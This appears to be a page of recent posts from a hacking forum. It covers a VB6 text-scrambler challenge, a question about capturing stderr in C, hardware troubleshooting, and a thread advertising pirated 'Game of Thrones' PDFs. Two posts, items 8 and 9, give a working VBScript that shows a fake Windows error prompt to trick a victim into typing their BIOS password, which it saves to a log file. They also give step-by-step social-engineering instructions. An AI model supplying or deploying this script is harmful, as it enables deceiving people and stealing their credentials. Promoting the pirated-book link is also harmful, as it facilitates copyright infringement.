Recent Posts

Pages: [1] 2 3 ... 10
1
Weekly challenge / Re: Challenge 1 - Text scrambler
« Last post by ca0s on Today at 09:03:12 PM »
Nice but there is the problem of some words not being changed.

My code is written in Visual Basic 6 and is 17 lines long, excluding white space and comments.

Code: [Select]
Dim strWords() As String
Dim strFirst As String, strLast As String, strMix As String, strNew As String
Dim I As Integer, P As Integer

' Split each word of the input into an array
strWords() = Split(Text1.Text, " ")

' Loop through array
For I = 0 To UBound(strWords())
    ' This IF removes the possible error for 'Len(strMix) - 1' as a single letter word would
    ' cause a problem.
    If Len(strWords(I)) > 1 Then
        strFirst = Left$(strWords(I), 1) ' Grab first letter
        strLast = Right$(strWords(I), 1) ' Grab last letter
       
        strMix = strWords(I)
        strMix = Right$(strMix, Len(strMix) - 1) ' Remove the first letter
        strMix = Left$(strMix, Len(strMix) - 1) ' Remove the last letter
       
        ' Reverse what's left *wink*
        strMix = StrReverse(strMix)
       
        ' Combine first letter, reversed string and last letter together
        strNew = strFirst + strMix + strLast
       
        ' Put the new word into the array
        strWords(I) = strNew
    End If
Next

' Output
Debug.Print Join(strWords())

And the output is:

Code: [Select]
Anidroccg to a rehcraeser at Cgdirbmae Uytisrevin, it d'nseot mettar in waht oedrr the lrettes in a wrod aer, the olny inatropmt tnihg is taht the fsrit and lsat letter be at the rhgit pecal. The rset can be a tatol mses and you can slitl raed it wuohtit pmelbor. Tihs is bsuacee the hamun mnid deos not raed erevy letter by ilestf but the wrod as a weloh.

Execution time in seconds:   0

Anidroccg to a rehcraeser at Cgdirbmae Uytisrevin, it d'nseot mettar in waht oedrr the lrettes in a wrod aer, the olny inatropmt tnihg is taht the fsrit and lsat letter be at the rhgit pecal. The rset can be a tatol mses and you can slitl raed it wuohtit pmelbor. Tihs is bsuacee the hamun mnid deos not raed erevy letter by ilestf but the wrod as a weloh.

benchmark = 0 milliseconds.
(00.00 seconds).

Awesome, ain't it? 8) The only thing I missed out was the punctuation checking :P
I didn't even think about just reverse the word leaving first and last letters in place, lol.
2
Weekly challenge / Re: Challenge 1 - Text scrambler
« Last post by Zesh on Today at 08:59:06 PM »
Code: [Select]
$ time ./scrambler
Acicordng to a rseearhecr at Camibdgre Ureiisvtny, it deosn't matetr in what order the ltetres in a word are, the only imoprtant thnig is that the frist and last letetr be at the right place. The rset can be a total mses and you can slitl read it whitout prbelom. This is because the human mind does not read evrey letter by ilestf but the word as a wohle.
real    0m0.001s
user    0m0.000s
sys    0m0.000s

Nice but there is the problem of some words not being changed.

My code is written in Visual Basic 6 and is 17 lines long, excluding white space and comments.

Code: [Select]
Dim strWords() As String
Dim strFirst As String, strLast As String, strMix As String, strNew As String
Dim I As Integer, P As Integer

' Split each word of the input into an array
strWords() = Split(Text1.Text, " ")

' Loop through array
For I = 0 To UBound(strWords())
    ' This IF removes the possible error for 'Len(strMix) - 1' as a single letter word would
    ' cause a problem.
    If Len(strWords(I)) > 1 Then
        strFirst = Left$(strWords(I), 1) ' Grab first letter
        strLast = Right$(strWords(I), 1) ' Grab last letter
       
        strMix = strWords(I)
        strMix = Right$(strMix, Len(strMix) - 1) ' Remove the first letter
        strMix = Left$(strMix, Len(strMix) - 1) ' Remove the last letter
       
        ' Reverse what's left *wink*
        strMix = StrReverse(strMix)
       
        ' Combine first letter, reversed string and last letter together
        strNew = strFirst + strMix + strLast
       
        ' Put the new word into the array
        strWords(I) = strNew
    End If
Next

' Output
Debug.Print Join(strWords())

And the output is:

Code: [Select]
Anidroccg to a rehcraeser at Cgdirbmae Uytisrevin, it d'nseot mettar in waht oedrr the lrettes in a wrod aer, the olny inatropmt tnihg is taht the fsrit and lsat letter be at the rhgit pecal. The rset can be a tatol mses and you can slitl raed it wuohtit pmelbor. Tihs is bsuacee the hamun mnid deos not raed erevy letter by ilestf but the wrod as a weloh.

Execution time in seconds:   0

Anidroccg to a rehcraeser at Cgdirbmae Uytisrevin, it d'nseot mettar in waht oedrr the lrettes in a wrod aer, the olny inatropmt tnihg is taht the fsrit and lsat letter be at the rhgit pecal. The rset can be a tatol mses and you can slitl raed it wuohtit pmelbor. Tihs is bsuacee the hamun mnid deos not raed erevy letter by ilestf but the wrod as a weloh.

benchmark = 0 milliseconds.
(00.00 seconds).

Awesome, ain't it? 8) The only thing I missed out was the punctuation checking :P
3
C - C++ / Re: [C] catch stderr of a process
« Last post by ca0s on Today at 08:56:51 PM »
Look for pipes.
I have not read it all, but I suppose you could do it like this
http://jineshkj.wordpress.com/2006/12/22/how-to-capture-stdin-stdout-and-stderr-of-child-program/
4
C - C++ / [C] catch stderr of a process
« Last post by Area_13 on Today at 08:55:01 PM »
Ok,I'm quite new to C,and for fun and training I want to make something that catches stderr and prints it to the screen,but I don't know how I can attach to a process to be able to read it's stdin/stderr...

So my question is,how can I attach to a process and read its stderr in C?
5
eBooks / Re: [PDF] A Game of Thrones (Books 1-5)
« Last post by iTpHo3NiX on Today at 08:28:05 PM »
44,000 views? Wow, people of the internet must love this series.

Well with good SEO anything is possible:

http://lmgtfy.com/?q=game+of+thrones+books+1-5+pdf

A simple google search and we're number 2 :P
6
Weekly challenge / Re: Challenge 1 - Text scrambler
« Last post by iTpHo3NiX on Today at 08:02:18 PM »
Code: [Select]
$ time ./scrambler
Acicordng to a rseearhecr at Camibdgre Ureiisvtny, it deosn't matetr in what order the ltetres in a word are, the only imoprtant thnig is that the frist and last letetr be at the right place. The rset can be a total mses and you can slitl read it whitout prbelom. This is because the human mind does not read evrey letter by ilestf but the word as a wohle.
real    0m0.001s
user    0m0.000s
sys    0m0.000s

I love it! I was able to read every word of the outputted text no problem... This is pretty cool :D
7
Hardware / Re: Hardware problem. Help needed.
« Last post by centizen on Today at 07:56:48 PM »
I had almost the exact same issue you did K, and against all logic and reason my power supply was the culprit; the 4pin CPU power conduit was not working and therefore the CPU would not run.
8
Tutorials / Social Engineering with Code to get BIOS password
« Last post by iTpHo3NiX on Today at 07:51:02 PM »
////////////////////////////////////////////////////////////////////////////////////
//////////Social Engineering with Code to get BIOS password/////////////
/////////////////////////////////////////////////////////////////////////////////////
///////////////a paper by: iTpHo3NiX [AT] EvilZone.org//////////////////
///////////////////////////////////////////////////////////////////////////////////

Well a user posted a question wondering about a keylogger for a BIOS password what the n00b didn't understand was for your average keylogger it boots up with the OS, not with POST or the system. To do this, your likely option would be a Hardware keylogger. A keylogger that is plugged into the system between the keyboard and computer. Another option, social engineering.

As a hacker, one skill that you should always know is Social Engineering. Now-a-days systems main flaw is that of Social Engineering. In this paper I will go through a method of Social Engineering, where you, a user, can act like the system to get the information you want.

Let us start with the code. I decided VBS as its a sufficent scripting language and looks better then batch if you want to trick the user. My code looks like the following:

Code: Visual Basic
  1. 'iTSE BIOS Pass
  2. DIM fso, NewsFile, BIOSPass
  3. Set fso = CreateObject("Scripting.FileSystemObject")
  4. Set NewsFile = fso.CreateTextFile("c:\err.log", True)
  5. 'Start function
  6. BIOSPass =InputBox ("Windows has encountered an error in BIOS and requires BIOS password to check the MBR. To scan and fix errors please enter BIOS password:")
  7. NewsFile.WriteLine "BIOS Password: " & BIOSPass
  8. NewsFile.Close
  9. 'Little box after 3 seconds to let them know it completed
  10. WScript.sleep 3000
  11. set WshShell = CreateObject("WScript.Shell")
  12. Result = WshShell.Popup("Windows has recovered from error", 0, "Successful!", 65)

This SE trick works in three steps. These steps are outlined as followed:

Step one:


The script will pop up with a box, this box tells the user/victim that their BIOS/MBR is having issues, they then proceed to enter their BIOS password to "fix" their computer

Step Two:


3 Seconds later and the user is informed that windows has fixed the issue!

Step Three:


Nifty little err.log file in the C:\ directory with the BIOS password.

A computer expert may be able to spot flaws, but for the guy that doesn't, this is for you! A simple way to obtain access to a system locally utilizing VBS scripting and Social Engineering. Its up to you to see how else this applies.
9
Hacking and Security / Re: keylogger for bios password
« Last post by iTpHo3NiX on Today at 07:37:21 PM »
XD! I would suggest something to make the windows fullscreen, if it is possible. And also something to print more text in the window so the all script makes it look like it is actually doing something.

This one better for you :P

whatever.vbs
Code: Visual Basic
  1. 'iTSE BIOS Pass
  2. DIM fso, NewsFile, BIOSPass
  3. Set fso = CreateObject("Scripting.FileSystemObject")
  4. Set NewsFile = fso.CreateTextFile("c:\err.log", True)
  5. 'Start function
  6. BIOSPass =InputBox ("Windows has encountered an error in BIOS and requires BIOS password to check the MBR. To scan and fix errors please enter BIOS password:")
  7. NewsFile.WriteLine "BIOS Password: " & BIOSPass
  8. NewsFile.Close
  9. 'Little box after 3 seconds to let them know it completed
  10. WScript.sleep 3000
  11. set WshShell = CreateObject("WScript.Shell")
  12. Result = WshShell.Popup("Windows has recovered from error", 0, "Successful!", 65)

Quick Social Engineering Guide
by iTpHo3NiX

As you can see you can use custom code/script combined with Social Engineering to get the information you want. When people see a pop up window they tend to think its part of the system. This quick guide will teach you to easily obtain a BIOS password, instead of trying to crack it, but rather it be given to you.

Step one:


The script will pop up with a box, this box tells the user/victim that their BIOS/MBR is having issues, they then proceed to enter their BIOS password to "fix" their computer

Step Two:


3 Seconds later and the user is informed that windows has fixed the issue!

Step Three:


Nifty little err.log file in the C:\ directory with the BIOS password.

Enjoy!
10
Scripting languages / Re: [Python] Run a Python script without Python
« Last post by Area_13 on Today at 06:39:27 PM »
It would be way more professionally to just compile the converted files to a self-extracting archieve with iexpress.exe ;)
But this works only if there's no folder created,as iexpress doesn't allow folders, but just files...
Pages: [1] 2 3 ... 10


Intern0t SoldierX py1337 SecurityOverride programisiai
Want to be here? Contact Ande or Satan911 on the forum or at IRC.